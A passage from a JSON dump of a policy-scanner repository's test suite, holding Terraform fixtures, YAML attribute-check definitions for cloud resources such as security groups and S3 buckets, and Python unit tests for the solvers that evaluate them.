    "content": "resource \"test\" \"pass1\" {\n  cidr_value = \"10.11.10.12/32\"\n}\n\nresource \"test\" \"pass2\" {\n  cidr_value = 10.11.10.12/32\n}\n\nresource \"test\" \"pass3\" {\n  cidr_value = \"10.0.0.0/16\"\n}\n\nresource \"test\" \"pass4\" {\n  cidr_value = \"10.255.255.0/24\"\n}\n\nresource \"test\" \"fail1\" {\n  cidr_value = \"192.169.1.0/32\"\n}\n\nresource \"test\" \"fail2\" {\n  cidr_value = \"172.16.0.0/12\"\n}\n\nresource \"test\" \"fail3\" {\n  cidr_value = \"10.0.0.0/6\"\n}\n\nresource \"test\" \"ipv6_pass1\" {\n  ipv6_cidr_value = \"fd12:3456:789a::/48\"\n}\n\nresource \"test\" \"ipv6_pass2\" {\n  ipv6_cidr_value = \"fcab::/64\"\n}\n\nresource \"test\" \"ipv6_fail1\" {\n  ipv6_cidr_value = \"2001:db8::/32\"\n}\n\nresource \"test\" \"ipv6_fail2\" {\n  ipv6_cidr_value = \"2001:0db8:1234::/48\"\n}\n\nresource \"test\" \"ipv6_unknown1\" {\n  ipv6_cidr_value = \"foo\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestCIDRRangeSubsetSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestCIDRRangeSubsetSolver, self).setUp()\n\n    def test_cidr_range_subset_string_solver(self):\n        root_folder = 'resources'\n        check_id = \"CIDRRangeSubsetString\"\n        should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4']\n        should_fail = ['test.fail1', 'test.fail2', 'test.fail3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_cidr_range_subset_string_jsonpath_solver(self):\n        root_folder = 'resources'\n        check_id = \"JsonPathCIDRRangeSubsetString\"\n        should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4']\n        should_fail = ['test.fail1', 'test.fail2', 'test.fail3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_cidr_range_subset_list_solver(self):\n        root_folder = 'resources'\n        check_id = \"CIDRRangeSubsetList\"\n        should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4']\n        should_fail = ['test.fail1', 'test.fail2', 'test.fail3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_cidr_range_subset_list_jsonpath_solver(self):\n        root_folder = 'resources'\n        check_id = \"JsonPathCIDRRangeSubsetList\"\n        should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4']\n        should_fail = ['test.fail1', 'test.fail2', 'test.fail3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_ipv6_cidr_range_subset_list_solver(self):\n        root_folder = 'resources'\n        check_id = \"IPV6CIDRRangeSubsetList\"\n        should_pass = ['test.ipv6_pass1', 'test.ipv6_pass2']\n        should_fail = ['test.ipv6_fail1', 'test.ipv6_fail2', 'test.pass1', 'test.pass2', 'test.pass3', 'test.pass4',\n                       'test.fail1', 'test.fail2', 'test.fail3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_ipv6_cidr_range_subset_list_jsonpath_solver(self):\n        root_folder = 'resources'\n        check_id = \"JsonPathIPV6CIDRRangeSubsetList\"\n        should_pass = ['test.ipv6_pass1', 'test.ipv6_pass2']\n        should_fail = ['test.ipv6_fail1', 'test.ipv6_fail2', 'test.pass1', 'test.pass2', 'test.pass3', 'test.pass4',\n                       'test.fail1', 'test.fail2', 'test.fail3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/NetworkAclsIPs.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NetworkACL\"\nscope:\n  provider: \"Azure\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"azurerm_key_vault\"\n  attribute: \"network_acls.ip_rules\"\n  operator: \"contains\"\n  value: \"acme\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/PublicSG.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"PublicSG\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_security_group\"\n  attribute: \"ingress.cidr_blocks\"\n  operator: \"contains\"\n  value: \"0.0.0.0/0\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/PublicSGMultipleIngress.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"PublicSGMultipleIngress\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_security_group\"\n  attribute: \"ingress.*.cidr_blocks\"\n  operator: \"contains\"\n  value: \"0.0.0.0\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/PublicVMs.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"PublicVMs\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_default_security_group\"\n  attribute: \"ingress.cidr_blocks\"\n  operator: \"contains\"\n  value: \"0.0.0.0/0\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/PublicVMsWithJsonpath.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"PublicVMsWithJsonpath\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_default_security_group\"\n  attribute: \"ingress.cidr_blocks\"\n  operator: \"jsonpath_contains\"\n  value: \"0.0.0.0/0\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/SpecificBlockSG.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"SpecificBlockSG\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_security_group\"\n  attribute: \"ingress.cidr_blocks\"\n  operator: \"contains\"\n  value: \"10.2.2.0/24\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/TagIncludes.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"TagIncludes\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"all\"\n  attribute: \"tags\"\n  operator: \"contains\"\n  value: \"acme\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/VariableDependentPolicy.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"VariableDependentPolicy\"\nscope:\n  provider: \"aws\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_s3_bucket_acl\"\n      attribute: \"access_control_policy.grant.*.grantee.id\"\n      operator: \"contains\"\n      value: \"data.aws_canonical_user_id.current.id\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_s3_bucket_acl\"\n      attribute: \"access_control_policy.grant.*.grantee.id\"\n      operator: \"contains\"\n      value: \"xyz\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_s3_bucket_acl\"\n      attribute: \"access_control_policy.grant.*.grantee.id\"\n      operator: \"not_exists\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/test_solver.py",
    "content": "import os\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestContainsSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestContainsSolver, self).setUp()\n\n    def test_public_virtual_machines(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"PublicVMs\"\n        should_pass = ['aws_default_security_group.default_security_group_open']\n        should_fail = ['aws_default_security_group.default_security_group_closed']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_public_virtual_machines_with_jsonpath(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"PublicVMsWithJsonpath\"\n        should_pass = ['aws_default_security_group.default_security_group_open']\n        should_fail = ['aws_default_security_group.default_security_group_closed']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_list_cidr_blocks(self):\n        root_folder = '../../../resources/security_group_list_cidr_blocks'\n        check_id = \"PublicSG\"\n        should_pass = []\n        should_fail = ['aws_security_group.passed_cidr_block', 'aws_security_group.failed_cidr_blocks']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_list_cidr_blocks_specific(self):\n        root_folder = '../../../resources/security_group_list_cidr_blocks'\n        check_id = \"SpecificBlockSG\"\n        should_pass = ['aws_security_group.passed_cidr_block']\n        should_fail = ['aws_security_group.failed_cidr_blocks']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_contains_dict(self):\n        root_folder = '../../../resources/tag_includes'\n        check_id = \"TagIncludes\"\n        should_pass = ['aws_instance.some_instance', 'aws_subnet.acme_subnet']\n        should_fail = ['aws_s3_bucket.acme_s3_bucket']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_contains_string_list(self):\n        root_folder = '../../../resources/security_group_list_cidr_blocks'\n        # this tests a specific condition related to wildcard expression evaluation and is not necessarily a full\n        # solver test\n        check_id = \"PublicSGMultipleIngress\"\n        should_pass = []\n        should_fail = ['aws_security_group.passed_multiple_ingress']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_none_network_acl_ips(self):\n        root_folder = '../../../resources/none_contains'\n        check_id = \"NetworkACL\"\n        should_pass = []\n        should_fail = ['azurerm_key_vault.kv']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_variable_dependent_policy(self):\n        root_folder = '../../../resources/variable_dependent_policy'\n        check_id = \"VariableDependentPolicy\"\n        should_pass = ['aws_s3_bucket_acl.example5']\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/ending_with_solver/AmiEndingWith.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"AmiEndingWith\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_instance\"\n  attribute: \"ami\"\n  operator: \"ending_with\"\n  value: \"-0\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/ending_with_solver/AmiEndingWithJsonpath.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"AmiEndingWithJsonpath\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_instance\"\n  attribute: \"ami\"\n  operator: \"jsonpath_ending_with\"\n  value: \"-0\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/ending_with_solver/UnrenderedVar.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"UnrenderedVar\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  attribute: \"bucket\"\n  operator: \"ending_with\"\n  value: \"abcdefg\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/ending_with_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/ending_with_solver/test_solver.py",
    "content": "import os\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestEndingWithSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestEndingWithSolver, self).setUp()\n\n    def test_ami_ending_with(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"AmiEndingWith\"\n        should_pass = ['aws_instance.with_open_def_security_groups']\n        should_fail = ['aws_instance.with_closed_def_security_groups', 'aws_instance.with_open_security_groups', 'aws_instance.with_subnet_public', 'aws_instance.with_subnet_not_public',]\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_ami_ending_with_jsonpath(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"AmiEndingWithJsonpath\"\n        should_pass = ['aws_instance.with_open_def_security_groups']\n        should_fail = ['aws_instance.with_closed_def_security_groups', 'aws_instance.with_open_security_groups', 'aws_instance.with_subnet_public', 'aws_instance.with_subnet_not_public',]\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_unrendered(self):\n        root_folder = '../../../resources/variable_rendering/unrendered'\n        check_id = \"UnrenderedVar\"\n        should_pass = []\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/equals_ignore_case_solver/BooleanString.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"BooleanString\"\nscope:\n  provider: \"Azure\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"azurerm_storage_account\"\n  attribute: \"allow_blob_public_access\"\n  operator: \"equals_ignore_case\"\n  value: \"TRUE\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/equals_ignore_case_solver/EncryptedResources.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"EncryptedResources\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_rds_cluster\"\n    - \"aws_neptune_cluster\"\n    - \"aws_s3_bucket\"\n  attribute: \"encryption_\"\n  operator: \"equals_ignore_case\"\n  value: \"encrypted\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/equals_ignore_case_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/equals_ignore_case_solver/test_solver.py",
    "content": "import os\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestEqualsIgnoreCaseSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestEqualsIgnoreCaseSolver, self).setUp()\n\n    def test_equals_ignore_case_solver_wildcard(self):\n        root_folder = '../../../resources/encryption_test'\n        check_id = \"EncryptedResources\"\n        should_pass = ['aws_rds_cluster.rds_cluster_encrypted', 'aws_s3_bucket.encrypted_bucket',\n                       'aws_neptune_cluster.encrypted_neptune']\n        should_fail = ['aws_rds_cluster.rds_cluster_unencrypted', 'aws_s3_bucket.unencrypted_bucket',\n                       'aws_neptune_cluster.unencrypted_neptune']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        super(TestEqualsIgnoreCaseSolver, self).run_test(root_folder=root_folder, expected_results=expected_results,\n                                                         check_id=check_id)\n\n    def test_equals_ignore_case_solver_boolean(self):\n        root_folder = '../../../resources/boolean_test'\n        check_id = \"BooleanString\"\n        should_pass = ['azurerm_storage_account.fail1', 'azurerm_storage_account.fail2',\n                       'azurerm_storage_account.fail3']\n        should_fail = ['azurerm_storage_account.pass1', 'azurerm_storage_account.pass2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        super(TestEqualsIgnoreCaseSolver, self).run_test(root_folder=root_folder, expected_results=expected_results,\n                                                         check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/BooleanString.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"BooleanString\"\nscope:\n  provider: \"Azure\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"azurerm_storage_account\"\n  attribute: \"allow_blob_public_access\"\n  operator: \"equals\"\n  value: \"true\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/Complex.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"Complex\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"x\"\n      attribute: \"list\"\n      operator: \"equals\"\n      value:\n        - \"a\"\n        - \"list\"\n        - \"of values\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"x\"\n      attribute: \"dict\"\n      operator: \"equals\"\n      value:\n        a_key: \"a value\"\n        another: \"another\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"x\"\n      attribute: \"complex\"\n      operator: \"equals\"\n      value:\n        - key: \"value\"\n          key2: \"value2\"\n          listkey:\n            - \"list1\"\n            - \"list2\"\n        - key: \"value22\"\n          key2: \"value22\"\n          listkey:\n            - \"listx\"\n            - \"listy\"\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/EncryptedResources.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"EncryptedResources\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_rds_cluster\"\n    - \"aws_neptune_cluster\"\n    - \"aws_s3_bucket\"\n  attribute: \"encryption_\"\n  operator: \"equals\"\n  value: \"ENCRYPTED\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/PublicDBSG.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"PublicDBSG\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_db_security_group\"\n  attribute: \"ingress.cidr\"\n  operator: \"equals\"\n  value: \"10.0.0.0/24\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/SGPorts.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"SGPorts\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_security_group\"\n  attribute: \"ingress.*.to_port\"\n  operator: \"equals\"\n  value: \"8182\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/UnrenderedVar.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"UnrenderedVar\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  attribute: \"bucket\"\n  operator: \"equals\"\n  value: \"abcdefg\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/test_solver.py",
    "content": "import os\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestEqualsSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestEqualsSolver, self).setUp()\n\n    def test_equals_solver_simple(self):\n        root_folder = '../../../resources/public_security_groups'\n        check_id = \"PublicDBSG\"\n        should_pass = ['aws_db_security_group.aws_db_security_group_private']\n        should_fail = ['aws_db_security_group.aws_db_security_group_public']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_equals_solver_wildcard(self):\n        root_folder = '../../../resources/encryption_test'\n        check_id = \"EncryptedResources\"\n        should_pass = ['aws_rds_cluster.rds_cluster_encrypted', 'aws_s3_bucket.encrypted_bucket', 'aws_neptune_cluster.encrypted_neptune']\n        should_fail = ['aws_rds_cluster.rds_cluster_unencrypted', 'aws_s3_bucket.unencrypted_bucket', 'aws_neptune_cluster.unencrypted_neptune']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        super(TestEqualsSolver, self).run_test(root_folder=root_folder, expected_results=expected_results,\n                                               check_id=check_id)\n\n    def test_equals_solver_boolean(self):\n        root_folder = '../../../resources/boolean_test'\n        check_id = \"BooleanString\"\n        should_pass = ['azurerm_storage_account.fail1', 'azurerm_storage_account.fail2', 'azurerm_storage_account.fail3']\n        should_fail = ['azurerm_storage_account.pass1', 'azurerm_storage_account.pass2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        super(TestEqualsSolver, self).run_test(root_folder=root_folder, expected_results=expected_results,\n                                               check_id=check_id)\n\n    def test_equals_solver_unrendered(self):\n        root_folder = '../../../resources/variable_rendering/unrendered'\n        check_id = \"UnrenderedVar\"\n        should_pass = []\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        super(TestEqualsSolver, self).run_test(root_folder=root_folder, expected_results=expected_results,\n                                               check_id=check_id)\n\n    def test_equals_solver_complex(self):\n        root_folder = '../../../resources/complex'\n        check_id = \"Complex\"\n        should_pass = ['x.x1']\n        should_fail = ['x.x2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        super(TestEqualsSolver, self).run_test(root_folder=root_folder, expected_results=expected_results,\n                                               check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/exists_solver/TagEnvironmentExists.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"TagEnvironmentExists\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  attribute: \"tags.Environment\"\n  operator: \"exists\"\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/exists_solver/TagEnvironmentExistsAll.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"TagEnvironmentExistsAll\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types: []\n  attribute: \"tags.Environment\"\n  operator: \"exists\"\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/exists_solver/VersioningEnabledExists.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"VersioningEnabledExists\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  attribute: \"versioning.enabled\"\n  operator: \"exists\"\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/exists_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/exists_solver/test_solver.py",
    "content": "import os\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass ExistsSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(ExistsSolver, self).setUp()\n\n    def test_nested_attribute_exists(self):\n        root_folder = '../../../resources/s3_bucket'\n        check_id = \"VersioningEnabledExists\"\n        should_pass = ['aws_s3_bucket.destination']\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_nested_attribute_doesnt_exists(self):\n        root_folder = '../../../resources/s3_bucket'\n        check_id = \"TagEnvironmentExists\"\n        should_pass = []\n        should_fail = ['aws_s3_bucket.destination']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_all_resources(self):\n        root_folder = '../../../resources/encryption_test'\n        check_id = \"TagEnvironmentExistsAll\"\n        should_pass = []\n        should_fail = [\"aws_rds_cluster.rds_cluster_encrypted\", \"aws_rds_cluster.rds_cluster_unencrypted\",\n                       \"aws_s3_bucket.encrypted_bucket\", \"aws_s3_bucket.unencrypted_bucket\",\n                       \"aws_neptune_cluster.encrypted_neptune\", \"aws_neptune_cluster.unencrypted_neptune\"]\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/greater_than_solver/GT.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"GT\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_s3_bucket\n  attribute: bucket\n  operator: greater_than\n  value: ccc\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/greater_than_solver/GTE.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"GTE\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_s3_bucket\n  attribute: bucket\n  operator: greater_than_or_equal\n  value: ccc\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/greater_than_solver/LT.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"LT\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_s3_bucket\n  attribute: bucket\n  operator: less_than\n  value: ccc\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/greater_than_solver/LTE.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"LTE\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_s3_bucket\n  attribute: bucket\n  operator: less_than_or_equal\n  value: ccc\n"
  },
  {
